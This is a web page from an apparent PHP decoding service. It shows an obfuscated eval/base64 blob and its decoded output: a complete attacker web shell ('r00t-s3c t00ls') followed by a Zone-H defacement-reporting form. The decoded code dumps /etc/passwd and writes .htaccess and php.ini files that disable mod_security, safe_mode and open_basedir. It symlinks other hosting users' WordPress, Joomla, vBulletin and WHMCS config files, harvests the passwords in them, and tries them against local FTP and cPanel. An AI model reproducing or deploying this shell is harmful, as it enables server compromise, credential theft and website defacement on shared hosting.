Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval (gzinflate(str_rot13(base64_decode(" 7P3paRtUsjgOfmGdo2oow7om2aLIKoCQCFZHX+woEACJrbD..

Decoded Output download

//=======================================
// !!   Coded By DR.HaCKo0oR     !!
// !!   http://www.r00t-s3c.com/    !!
// !!   07-08-2011
//=======================================

echo '<head>
<style type="text/css">
.style1 {
    text-align: center;
}
.style2 {
    margin-left: 0px;
}
.style3 {
    font-size: medium;
    color: #86FF00;
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
}
.Style3 {
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
    color: #000000;
}
.style4 {
    font-size: medium;
    color: #FFFFFF;
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
}
.style8 {
    font-size: large;
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
    color: #FF0000;
}
.style9 {
    text-decoration: underline;
}
.style10 {
    color: #FF0000;
    font-size: x-small;
}
.style11 {
    color: #6AFF00;
}
.style12 {
    color: #86FF00;
}
.style16 {
    text-decoration: none;
    color: #C8FF8C;
}
a {
    color: #00FF00;
}
.style18 {
    color: #C8FF8C;
}
.style17 {
    text-decoration: none;
    color: #86FF00;
}
.style19 {
    color: #FF0000;
    font-size: small;
}
.style20 {
    color: #FFFFFF;
}
.style21 {
    font-size: small;
}
.style22 {
    font-size: x-large;
    color: #B2B2B2;
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
}
.style23 {
    font-size: small;
    color: #FF0000;
    font-family: "Gill Sans", "Gill Sans MT", Calibri, "Trebuchet MS", sans-serif;
}
</style>
</head>

 <body style="background-color: #000000">
 <title>r00t-s3c t00ls v 1.0 ~ DR.HaCKo0oR </title>
<div class="style1">

    <form method="post">
        <strong><span class="style22">r00t-s3c </span><span class="style23">v
        1.0</span></strong><br>
        <table align="center" style="width: 100%">
            <tr>
                <td class="style1" style="width: 50%; height: 605px;">
                <table style="width: 100%">
                    <tr>
                        <td class="style3" style="width: 35%" align="center">
                        <br><span class="style11">
                        -----------------------------------</span><select name="what" style="width: 167px">
                        <option>Users ( Way 1 )</option>
                        <option>Users ( Way 2 )</option>
                        <option>Users ( Way 3 )</option>
                        <option>/etc/passwd ( way 1 )</option>
                        <option>/etc/passwd ( way 2 )</option>
                        <option>/etc/passwd ( way 3 )</option>
                        <option>/etc/passwd ( way 4 )</option>
                        <option>Domain : User</option>
                        </select><br><br>
        <input name="Get" style="width: 108px; height: 28px" type="submit" value="Drag"><br>
                        <span class="style11">
                        -----------------------------------</span><br>
                        <span class="style19">Fill this Box by users First =&gt;</span><span class="style10"><br>
                        </span><br>
                        <input name="symlink" style="width: 108px; height: 28px" type="submit" value="Symlink Configs"><br>
                        <span class="style11">
                        -----------------------------------</span><br><br>
                        <span class="style11">
                        -----------------------------------<br></span>
                        <span id="result_box3" class="style19" lang="en">
                        <span class="hps">This</span> <span class="hps">will
                        take some time</span></span><br>
                        <select name="Cracko" style="width: 216px">
                        <option>For /public_html/ Folders</option>
                        <option>For All Server</option>
                        </select><br><br>
                        <input name="crack" style="width: 108px; height: 28px" type="submit" value="Randon Crack"><br><br>
                        <span class="style20"><span class="style21">this feature allows
                        to create some symlinks automatically &amp; collect some
                        Password types</span><br>
                        </span>
                        <span class="style11">
                        -----------------------------------</span></td>
                        <td class="style1">
                        <span id="result_box" class="short_text" lang="en">
                        <span class="style4"><strong>result :</strong></span></span><br>
<textarea name="users" rows=25 style="width: 100%" class="style3" >';

        set_time_limit(0);
        if($_POST['Get']){ do_get(); }
echo '</textarea></td></tr></table><br></td><td class="style3" align="center" style="height: 605px">';
info();
echo '<span class="style12">
                -----------------------------------------------------------------</span><br>
                <input name="bypass" type="submit" value="Bypass Using">&nbsp; <select class="style2" name="way" style="width: 180px">
                <option>.Htaccess</option>
                <option>Php.ini</option>
                <option>ini.php</option>
                <option>All Of them</option>
                </select><br>
                <span class="style11">------------------------------------------------------------------<br>
                Please be my <span id="result_box2" class="short_text" lang="en">
                <span class="hps">guest at<br><br>
                <span class="style17">
                <a class="style16" href="http://www.r00t-s3c.com/" target="_blank">r00t-s3c</a></span><br><br>';
                gretz ();
                echo '</td>
            </tr>
        </table>
        <table align="center" bgcolor="#FFFFFF" bordercolor="#FF0000" bordercolordark="#FF0000" bordercolorlight="#FF0000" style="width: 100%">
            <tr>
                <td class="style1">
                <span id="result_box0" class="style8" lang="en">
                <span class="hps"><span class="style9">Status Box :</span><br>';

                if ($_POST['crack'])  {
                                             if ($_POST['Cracko']=="For /public_html/ Folders"){ do_crack ();}
                                             elseif ($_POST['Cracko']=="For All Server"){ do_crack_all ();     }
                   }
                if ($_POST['bypass']) { do_bypass();   }
                if ($_POST['symlink']){ do_symlinks(); }
////////////////////////---------->>>
set_time_limit(0);
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////################## functions ##################//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function info() {
  $dir = getcwd();
$uname= @php_uname();
if(strlen($dir)>1 && $dir[1]==":")
$os = "<Span style='color:red;'><strong>Windows</strong></span>";
else $os = "<Span style='color:green;'><strong>Linux</strong></span>";
$serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
if(ini_get('safe_mode')){
$safe_modes="<Span style='color:red;'><strong>On</strong></span>";
}else{
$safe_modes="<Span style='color:green;'><strong>Off</strong></span>";
}
echo "<center><span style='color: #FFFFFF;'>ID : <strong>".exec('id')."</strong></span><br/>";
echo "<center><span style='color: #FFFFFF;'>Server IP Address : <strong>".$serverIP."</strong> And System Is : </span>".$os."<br/>";
echo "<span style='color: #FFFFFF;'>Php Version : <strong>".phpversion()."</strong> | Safe Mode : ".$safe_modes."</span><br/>";
echo "<span style='color: #FFFFFF;'>My Location : $dir/</span> ";
if (eregi("public_html",$dir)) {
  echo "<Span style='color:green;'><strong>Cpanel Installed</strong></span><br />";
}
else {
  echo "<Span style='color:red;'><strong>Cpanel Not Installed</strong></span><br />";
};
echo "<span style='color: #FFFFFF;'>Operation System : ".$uname."</span><br/>";
echo "</center>";
}
function do_get(){
           if ($_POST['what']=="Users ( Way 1 )"){ $users = system('ls /var/mail');}
           elseif ($_POST['what']=="Users ( Way 2 )"){ $users = system('ls -al /etc/valiases');if (!$users){echo "[-]Sorry i can't bypass with this, maybe you have to turn Off Security Mode";}}
           elseif ($_POST['what']=="/etc/passwd ( way 1 )") { system('cat /etc/passwd'); }
           elseif ($_POST['what']=="/etc/passwd ( way 4 )") { system('cd /etc;cat passwd'); }
           elseif ($_POST['what']=="/etc/passwd ( way 3 )") { echo strip_tags(show_source ('/etc/passwd')); }
           elseif ($_POST['what']=="Users ( Way 3 )") {  system("awk -F: '{ print $1 }' /etc*/passwd | sort"); }
           elseif ($_POST['what']=="/etc/passwd ( way 2 )") { passwd2(); }
           elseif ($_POST['what']=="Domain : User") { domain_user(); }
}

function do_bypass(){
  if ($_POST['way']==".Htaccess"){ bypass_htaccess();}
elseif ($_POST['way']=="Php.ini") { bypass_php();}
elseif ($_POST['way']=="ini.php") { bypass_ini();}
else {
  bypass_htaccess();
  bypass_php();
  bypass_ini();
  ads();
}
}

function do_crack (){
  set_time_limit(0);
                    if(!file_exists("Cracked")) {
                 echo "<Span style='color:green;'>[+]Cracked Folder does not exist ,under Creating ...</span><br>";
                 mkdir("Cracked");
                 echo "<Span style='color:green;'>[+]Cracked Folder Created </span><br>";
                 chdir("Cracked");
                 sym_hta ();
                 }
                  else {
                    echo "<Span style='color:red;'>[-]Cracked Folder already Existing</span><br>";
                    chdir("Cracked");
                    sym_hta ();
                     }
                  @$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
   echo "[-] Error : coudn't read /etc/passwd";
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
  $str=fgets($passwd);
  if ($i>35) {
    $pos=strpos($str,":");
    $username=substr($str,0,$pos);
    $dirz="/home/$username/public_html/";
    if (($username!="")) {
        if (is_readable($dirz)) {
            array_push($users,$username);
            array_push($path_to_public,$dirz);
        }
    }
  }
  $i++;
}
                echo "<Span style='color:green;'>[+] Founded ".sizeof($users)." entrys in /etc/passwd<br>";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html foldes<br>";

echo "[~] Searching for passwords in config.* files...<br><br>";
echo "[+] Ftp & Cpanel Engines Started<br><br></Span>";
ads();
foreach ($users as $user) {
        $path="/home/$user/public_html/";
        read_dir($path,$user);
}

echo "<Span style='color:green;'><br>[+] Done<br></Span>";
if(!file_exists("pass.txt")) {
                 echo "[-]No Passwords Matched Cpanel Or FTP Accounts<br>";
                 }
                  else {
                    echo "<Span style='color:green;'>[+]Cpanel Or FTP Passwords Founded =></span><a href='pass.txt'>Check them here</a><br>";
                     }
}

function do_crack_all (){
  set_time_limit(0);
                    if(!file_exists("Cracked")) {
                 echo "<Span style='color:green;'>[+]Cracked Folder does not exist ,under Creating ...</span><br>";
                 mkdir("Cracked");
                 echo "<Span style='color:green;'>[+]Cracked Folder Created </span><br>";
                 chdir("Cracked");
                 sym_hta ();
                 }
                  else {
                    echo "<Span style='color:red;'>[-]Cracked Folder already Existing</span><br>";
                    chdir("Cracked");
                    sym_hta ();
                     }
                  @$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
   echo "[-] Error : Cant Start Task !!";
   ads();
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
  $str=fgets($passwd);
  if ($i>35) {
    $pos=strpos($str,":");
    $username=substr($str,0,$pos);
    $dirz="/";
    if (($username!="")) {
        if (is_readable($dirz)) {
            array_push($users,$username);
            array_push($path_to_public,$dirz);
        }
    }
  }
  $i++;
}
echo "<Span style='color:green;'>[+] Founded ".sizeof($path_to_public)." readable folders in server</Span><br>";
echo "<Span style='color:green;'>[!] This property may contain </Span>ROOT <Span style='color:green;'>Configs</Span><br>";
echo "<Span style='color:green;'>[~] Searching for passwords in config.* files...<br><br></Span>";
echo "<Span style='color:green;'>[+] Ftp & Cpanel Engines Started<br><br></Span>";
ads();
foreach ($users as $user) {
        $path="/";
        read_dir2($path,$user);
}

echo "<Span style='color:green;'><br>[+] Done<br></Span>";
if(!file_exists("pass.txt")) {
                 echo "[-]No Passwords Matched Cpanel Or FTP Accounts<br>";
                 }
                  else {
                    echo "<Span style='color:green;'>[+]Cpanel Or FTP Passwords Founded =></span><a href='pass.txt'>Check them here</a><br>";
                     }
}

function sym_hta (){
$htaccess=fopen(getcwd().$slash."/.htaccess","w");
fwrite($htaccess,"options all
Options +FollowSymLinks
Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType text/plain .php
AddHandler server-parsed .php");
fclose($htaccess);
             }

function passwd2 (){
  for($uid=0;$uid<60000;$uid++){
               $ara = posix_getpwuid($uid);
               if (!empty($ara)) {
              while (list ($key, $val) = each($ara)){
             echo "$val:";
              }
           echo "
";
           }
           }
}



function domain_user() {
$domains = @file("/etc/named.conf");

if(!$domains){ die("[-] Couldn't Bypass it , Sorry"); }
foreach($domains as $domain){
if(eregi("zone",$domain)){
preg_match_all('#zone "(.*)"#', $domain, $domainsx);
flush();
if(strlen(trim($domainsx[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domainsx[1][0]));

echo $user['name']." : ".$domainsx[1][0]."
"; flush();

}}}
}
function bypass_htaccess() {
  $htaccess=fopen(getcwd().$slash."/.htaccess","w");
fwrite($htaccess,"Options +FollowSymLinks
DirectoryIndex ssssss.htm
Options All Indexes
<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckCookieFormat Off
SecFilterCheckUnicodeEncoding Off
SecFilterNormalizeCookies Off
</IfModule>
SetEnv PHPRC ".getcwd().$slash."/php.ini
suPHP_ConfigPath ".getcwd().$slash."/php.ini");
fclose($htaccess);
if(is_file(getcwd().$slash."/.htaccess")) { echo "<Span style='color:green;'><strong>.htaccess Created successfully</strong></span><br>"; } else { echo "<strong><Span style='color:red;'>I can not create .htaccess</strong></span><br>"; };
}
function bypass_php() {
  $php=fopen(getcwd().$slash."/php.ini","w");
fwrite($php,"safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF

open_basedir = OFF");
fclose($php);
if(is_file(getcwd().$slash."/php.ini")) { echo "<strong><Span style='color:green;'>php.ini Created successfully</strong></span><br>"; } else { echo "<strong><Span style='color:red;'>I can not create php.ini</strong></span><br>"; };
}
function bypass_ini() {
  $ini=fopen(getcwd().$slash."/ini.php","w");
fwrite($ini,'ini_restore("safe_mode");
ini_restore("open_basedir");');
fclose($ini);
if(is_file(getcwd().$slash."/ini.php")) { echo "<strong><Span style='color:green;'>ini.php Created successfully</strong></span><br>"; } else { echo "<strong><Span style='color:red;'>I can not create ini.php</strong></span><br>" ; };
}
function do_symlinks() {
  $sym_users = explode("
",$_POST['users']);
              if (empty($sym_users)) {echo "<strong><Span style='color:red;'>[-]users box is empty !!, please fill it and try again</span></strong><br>"; }
              elseif (eregi ("cpanel/bin/noshell",$sym_users)) {echo "<strong><Span style='color:red;'>[-]I cant extract users from /etc/passwd yet :( , Sorry</span></strong><br>";}
               else {
                 if(!file_exists("pain")) {
                 echo "<Span style='color:green;'>[+]pain Folder does not exist ,under Creating ...</span><br>";
                 mkdir("pain");
                 echo "<Span style='color:green;'>[+]pain Folder Created </span><br>";
                 chdir("pain");
                 }
                  else {
                    echo "<Span style='color:red;'>[-]pain Folder already Existing</span><br>";
                    chdir("pain");
                     }
             sym_hta ();
             echo "<Span style='color:green;'>[+] Start Generating Symlinks ... please wait</span><br><br>";
             ads();
  foreach ( $sym_users as $user )
               {

               if(!file_exists($user."~~vBulletin1.txt"))  { system("ln -s /home/$user/public_html/vb/includes/config.php $user~~vBulletin1.txt");   } else { }
               if(!file_exists($user."~~vBulletin2.txt"))  { system("ln -s /home/$user/public_html/includes/config.php $user.~~vBulletin2.txt");   } else { }
               if(!file_exists($user."~~vBulletin3.txt"))  { system("ln -s /home/$user/public_html/forum/includes/config.php $user~~vBulletin3.txt");   } else { }
               if(!file_exists($user."~~vBulletin4.txt"))  { system("ln -s /home/$user/public_html/cc/includes/config.php $user~~vBulletin4.txt");   } else { }
               if(!file_exists($user."~~Phpbb1.txt"))  { system("ln -s /home/$user/public_html/config.php $user~~Phpbb1.txt");   } else { }
               if(!file_exists($user."~~Phpbb2.txt"))  { system("ln -s /home/$user/public_html/forum/includes/config.php $user~~Phpbb2.txt");  } else { }
               if(!file_exists($user."~~phpbb3.txt"))  { system("ln -s /home/$user./public_html/includes/functions.php $user~~phpbb3.txt");   } else { }
               if(!file_exists($user."~~phpbb3.txt"))  { system("ln -s /home/$user./public_html/includes/config.php $user~~phpbb3.txt");   } else { }
               if(!file_exists($user."~~phpbb4.txt"))  { system("ln -s /home/$user./public_html/phpbb/functions.php $user~~phpbb4.txt");   } else { }
               if(!file_exists($user."~~Wordpress1.txt"))  { system("ln -s /home/$user/public_html/wp-config.php $user~~Wordpress1.txt");   } else { }
               if(!file_exists($user."~~Wordpress2.txt"))  { system("ln -s /home/$user/public_html/blog/wp-config.php $user~~Wordpress2.txt");   } else { }
               if(!file_exists($user."~~Joomla1.txt"))  { system("ln -s /home/$user/public_html/configuration.php $user~~Joomla1.txt");  } else { }
               if(!file_exists($user."~~Joomla2.txt"))  { system("ln -s /home/$user/public_html/blog/configuration.php $user~~Joomla2.txt");   } else { }
               if(!file_exists($user."~~Joomla3.txt"))  { system("ln -s /home/$user/public_html/joomla/configuration.php $user~~Joomla3.txt");     } else { }
               if(!file_exists($user."~~Whm1.txt"))  { system("ln -s /home/$user/public_html/whm/configuration.php $user~~Whm1.txt");   } else { }
               if(!file_exists($user."~~Whm2.txt"))  { system("ln -s /home/$user/public_html/whmc/configuration.php $user~~Whm2.txt");   } else { }
               if(!file_exists($user."~~Whm3.txt"))  { system("ln -s /home/$user/public_html/support/configuration.php $user~~Whm3.txt");    } else { }
               if(!file_exists($user."~~Whm4.txt"))  { system("ln -s /home/$user/public_html/client/configuration.php $user~~Whm4.txt");    } else { }
               if(!file_exists($user."~~Whm5.txt"))  { system("ln -s /home/$user/public_html/billings/configuration.php $user~~Whm5.txt");  } else { }
               if(!file_exists($user."~~Whm6.txt"))  { system("ln -s /home/$user/public_html/billing/configuration.php $user~~Whm6.txt");    } else { }
               if(!file_exists($user."~~Whm7.txt"))  { system("ln -s /home/$user/public_html/clients/configuration.php $user~~Whm7.txt");  } else { }
               if(!file_exists($user."~~Whm8.txt"))  { system("ln -s /home/$user/public_html/whmcs/configuration.php $user~~Whm8.txt");   } else { }
               if(!file_exists($user."~~Whm9.txt"))  { system("ln -s /home/$user/public_html/order/configuration.php $user~~Whm9.txt");   } else { }
               if(!file_exists($user."~~invisio.txt"))  { system("ln -s /home/$user/public_html/conf_global.php $user~~invisio.txt");    } else { }
               if(!file_exists($user."~~Smf.txt"))  { system("ln -s /home/$user/public_html/settings.php $user~~Smf.txt");   } else { }
               if(!file_exists($user."~~infinity.txt"))  { system("ln -s /home/$user/public_html/include/db.php $user~~infinity.txt");   } else { }
               if(!file_exists($user."~~mk-portale1.txt"))  { system("ln -s /home/$user/public_html/mk_conf.php $user~~mk-portale1.txt");  } else { }
               if(!file_exists($user."~~1.txt"))  { system("ln -s /home/$user/public_html/admin/conf.php $user~~1.txt");   } else { }
               if(!file_exists($user."~~2.txt"))  { system("ln -s /home/$user/public_html/admin/config.php $user~~2.txt");    } else { }
               if(!file_exists($user."~~3.txt"))  { system("ln -s /home/$user/public_html/include/db.php $user~~3.txt");   } else { }
               if(!file_exists($user."~~4.txt"))  { system("ln -s /home/$user/public_html/connect.php $user~~4.txt");   } else { }
               if(!file_exists($user."~~5.txt"))  { system("ln -s /home/$user/public_html/include/config.php $user~~5");    } else { }
               if(!file_exists($user."~~joomla.txt"))  { system("ln -s /home/$user./public_html/configuration.php $user~~joomla.txt");   } else { }
                if(!file_exists($user."~~joomla.txt"))  { system("ln -s /home/$user./public_html/joomla/configuration.php $user~~joomla.txt");   } else { }

               }}
               echo "<Span style='color:green;'>[+] All Symlinks Created Successfully</span><br><a href='pain'>Check them here</a><br>";
             }
function gretz (){
  $grets = array ("<Span style='color:green;'> </Span>","<Span style='color:green;'>");
echo "<Span style='color:#FFFFFF;'></Span>".$grets[rand(0, 6)];
}
function ads() {
  echo '-----------------------------<br><div align="center">
<script type="text/javascript"><!--
google_ad_client = "pub-4206972615252597";
/* 300x250, created 5/24/11 */
google_ad_slot = "6363599603";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>';
     echo '<script type="text/javascript"><!--
google_ad_client = "pub-4206972615252597";
/* 300x250,   31/05/11 */
google_ad_slot = "2064404874";
google_ad_width = 300;
google_ad_height = 250;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br>-----------------------------<br><br>';
}
function read_dir($path,$username) {
     set_time_limit(0);
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
              $fpath="$path$file";
              if (($file!='.') and ($file!='..')) {
                 if (is_readable($fpath)) {
                    $dr="$fpath/";
                    if (is_dir($dr)) {
                       read_dir($dr,$username);
                    }
                    else {
                         if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php') or ($file=='conf_global.php') or ($file=='connect.php') or ($file=='pass.php')) {
                            $pass=get_pass($fpath);
                            if ($pass!='') {
                               echo "<Span style='color:green;'>[+] $fpath founded !!</span><br>";
                               $curent =  $username."".rand(0,100)."~config.txt" ;
                               system("ln -s $fpath $curent");
                               echo "[+]Symlink Created<a href='Cracked/$curent'> => See it</a><br>";
                               ftp_check($username,$pass);
                               cpanel_check($host,$login,$pass,$timeout);  }  } } }  }  }}
                               }
function read_dir2($path,$username) {
     set_time_limit(0);
    if ($handle = opendir($path)) {
        while (false !== ($file = readdir($handle))) {
              $fpath="$path$file";
              if (($file!='.') and ($file!='..')) {
                 if (is_readable($fpath)) {
                    $dr="$fpath/";
                    if (is_dir($dr)) {
                       read_dir2($dr,$username);
                    }
                    else {
                         if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php') or ($file=='conf_global.php') or ($file=='connect.php') or ($file=='pass.php')) {
                            $pass=get_pass($fpath);
                            if ($pass!='') {
                               echo "<Span style='color:green;'>[+] $fpath founded !!</span><br>";
                               $curentn =  "Cracked-".rand(0,50000)."~config.txt" ;
                               system("ln -s $fpath $curentn");
                               echo "[+]Symlink Created<a href='Cracked/$curentn'> => See it</a><br>";
                               ftp_check($username,$pass);
                               cpanel_check($host,$login,$pass,$timeout);  }  } } }  }  }}
                               }

function get_pass($fpath) {
  set_time_limit(0);
    @$config=fopen($fpath,'r');
    while(!feof($config)) {
        $line=fgets($config);
        if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd') or strstr($line,'DB_PASSWORD') or strstr($line,'database_password')) {
            if (strrpos($line,'"'))
               $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
            else
               $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
            return $pass;
        }
    }
}

function ftp_check($login,$pass) {
  set_time_limit(0);
     @$ftp=ftp_connect('127.0.0.1');
     if ($ftp) {
        @$res=ftp_login($ftp,$login,$pass);
        if ($res) {
           echo '[FTP] '.$login.':'.$pass."  Success<br>";
           $handle=fopen(getcwd().$slash."/pass.txt","a+");
           fwrite($handle, "[+] Ftp Login Found : ");
           fwrite($handle, $login);
           fwrite($handle, " : ");
           fwrite($handle, $pass);
           fwrite($handle, "
");
           fclose($handle);
        }
        else ftp_quit($ftp);
     }
}
function cpanel_check($host,$login,$pass,$timeout){
  set_time_limit(0);
$ch = curl_init();
$host ="127.0.0.1";
curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, "$login:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) { }
elseif ( curl_errno($ch) == 0 ){
print "[+]Cracking Success With Username $login and Password $pass";
          $handle=fopen(getcwd().$slash."/pass.txt","a+");
           fwrite($handle, "[+] Cpanel Login Found at port 2082 : ");
           fwrite($handle, $login);
           fwrite($handle, " : ");
           fwrite($handle, $pass);
           fwrite($handle, "
");
           fclose($handle);

}
curl_close($ch);}
//////////////-----------------<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<
//////////////-----------------<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<
//////////////-----------------<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<


echo '</span></span></td></tr></table>
        </form>
 </div>

</body>

';
?>
</p>


</p>

<?php
ob_start();





$sub = get_loaded_extensions();

if(!in_array("curl", $sub)){

die('Curl eklentisi Y?kl? degil Bu serverde ?alismaz L?tfen server Y?neticisi ile irtibata geciniz');

}



// sari sari ?rdekler ucusuyorrrrrr...

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<style>

body{margin:0px;font-style:normal;font-size:10px;color:#FFFFFF;font-family:Verdana,Arial;background-color:#000000;scrollbar-face-color: #303030;scrollbar-highlight-color: #5d5d5d;scrollbar-shadow-color: #121212;scrollbar-3dlight-color: #3a3a3a;scrollbar-arrow-color: #9d9d9d;scrollbar-track-color: #3a3a3a;scrollbar-darkshadow-color: #3a3a3a;}

input,

.kbrtm,select{background:#000000;color:#FFFFFF;fon t-family:Verdana,Arial;font-size:10px;vertical-align:middle; height:18; border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;}

button{background-color: #000000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}

body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}

textarea,option{background:#000000;color:#FFFFFF;f ont-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;}

</style>



<style type="text/css">

.style1 {

text-align: center;

}

.style2 {

font-weight: bold;

}

.style3 {

font-size: large;

color: #FF0000;

}

div#option {

background:#000000;color:#FFFFFF;font-family:Verdana,Arial;font-size:10px;vertical-align:middle; border-left:1px solid #121212; border-right:1px solid #5d5d5d; border-bottom:1px solid #5d5d5d; border-top:1px solid #121212;



}

</style>

</head>

<?php

if($_POST) {

$hacker = $_POST['defacer'];

$method = $_POST['hackmode'];

$neden = $_POST['reason'];

$site = $_POST['domain'];



// bosmu dolumu

if ($hacker == "") {





}

elseif($method == "--------SELECT--------") {

die("<center>Method Bildirmek Zorundasiniz</center>");

}

elseif($neden == "--------SELECT--------") {



die("<center>Bir Neden Bildirmek Zorundasiniz</center>");

}

elseif($site == "") {



die("<center>L?tfen Hacklediginiz Siteleri Yaziniz</center>");

}





$i = 0;

$sites = explode("
", $site);

while($i < count($sites)) {

if(substr($sites[$i], 0, 4) != "http") {

$sites[$i] = "http://".$sites[$i];



}



poster("http://zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);



++$i;

}

echo "<center><p>Done/p></center>";



}else{



echo '<center>



<form action="" method="post">

<div id="option">
<p>ZoNe-H<br />

<p>Notifier :<br />

<span class="ok"><input type="text" name="defacer" size="40" /></span> </p>



<p>Method of penetration<br /><select name="hackmode">

<option >--------SELECT--------</option>

<option value="1">known vulnerability (i.e. unpatched system)</option>

<option

value="2" >undisclosed (new) vulnerability</option>

<option

value="3" >configuration / admin. mistake</option>

<option

value="4" >brute force attack</option>



<option

value="5" >social engineering</option>

<option

value="6" >Web Server intrusion</option>

<option

value="7" >Web Server external module intrusion</option>

<option

value="8" >Mail Server intrusion</option>

<option

value="9" >FTP Server intrusion</option>

<option

value="10" >SSH Server intrusion</option>



<option

value="11" >Telnet Server intrusion</option>

<option

value="12" >RPC Server intrusion</option>

<option

value="13" >Shares misconfiguration</option>

<option

value="14" >Other Server intrusion</option>

<option

value="15" >SQL Injection</option>

<option

value="16" >URL Poisoning</option>



<option

value="17" >File Inclusion</option>

<option

value="18" >Other Web Application bug</option>

<option

value="19" >Remote administrative panel access through bruteforcing</option>

<option

value="20" >Remote administrative panel access through password guessing</option>

<option

value="21" >Remote administrative panel access through social engineering</option>

<option

value="22" >Attack against the administrator/user (password stealing/sniffing)</option>



<option

value="23" >Access credentials through Man In the Middle attack</option>

<option

value="24" >Remote service password guessing</option>

<option

value="25" >Remote service password bruteforce</option>

<option

value="26" >Rerouting after attacking the Firewall</option>

<option

value="27" >Rerouting after attacking the Router</option>

<option

value="28" >DNS attack through social engineering</option>



<option

value="29" >DNS attack through cache poisoning</option>

<option

value="30" >Not available</option>

</select></p>

<p>Cause of breach?<br /><select name="reason">



<option >--------SELECT--------</option>

<option

value="1" >Heh...just for fun!</option>

<option

value="2" >Revenge against that website</option>

<option

value="3" >Political reasons</option>

<option

value="4" >As a challenge</option>

<option

value="5" >I just want to be the best defacer</option>



<option

value="6" >Patriotism</option>

<option

value="7" >Not available</option>

</select> </p>



<p>Domains<br />

<span class="fur">Put here for registration sites</span><br />

<span class=""><textarea name="domain" cols="43" rows="17"></textarea></span> </p>

<p><input type="submit" value="OK" />

</form>
<div class ="sub"> </div>

<br>

</div>

</center>';



}



function poster($url, $hacker, $hackmode,$reson, $site )

{



$k = curl_init();

curl_setopt($k, CURLOPT_URL, $url);

curl_setopt($k,CURLOPT_POST,true);

curl_setopt($k, CURLOPT_POSTFIELDS,"defacer=".$hacker."&domain1=". $site."&hackmode=".$hackmode."&reason=".$reson);

curl_setopt($k,CURLOPT_FOLLOWLOCATION, true);

curl_setopt($k, CURLOPT_RETURNTRANSFER, true);



$kubra = curl_exec($k);

curl_close($k);

return $kubra;

}



?>

<body>

</body>

</html>

</p>
<html>
<head>
<title>  </title>
<style type="text/css">
.style1 {
	color: #C0C0C0;
	font-size: x-large;
	font-family: Arial, Helvetica, sans-serif;
}
.style2 {
	font-family: "Franklin Gothic Medium";
	color: #FFFFFF;
}
</style>

<body bgcolor="#000000"><div align="center">


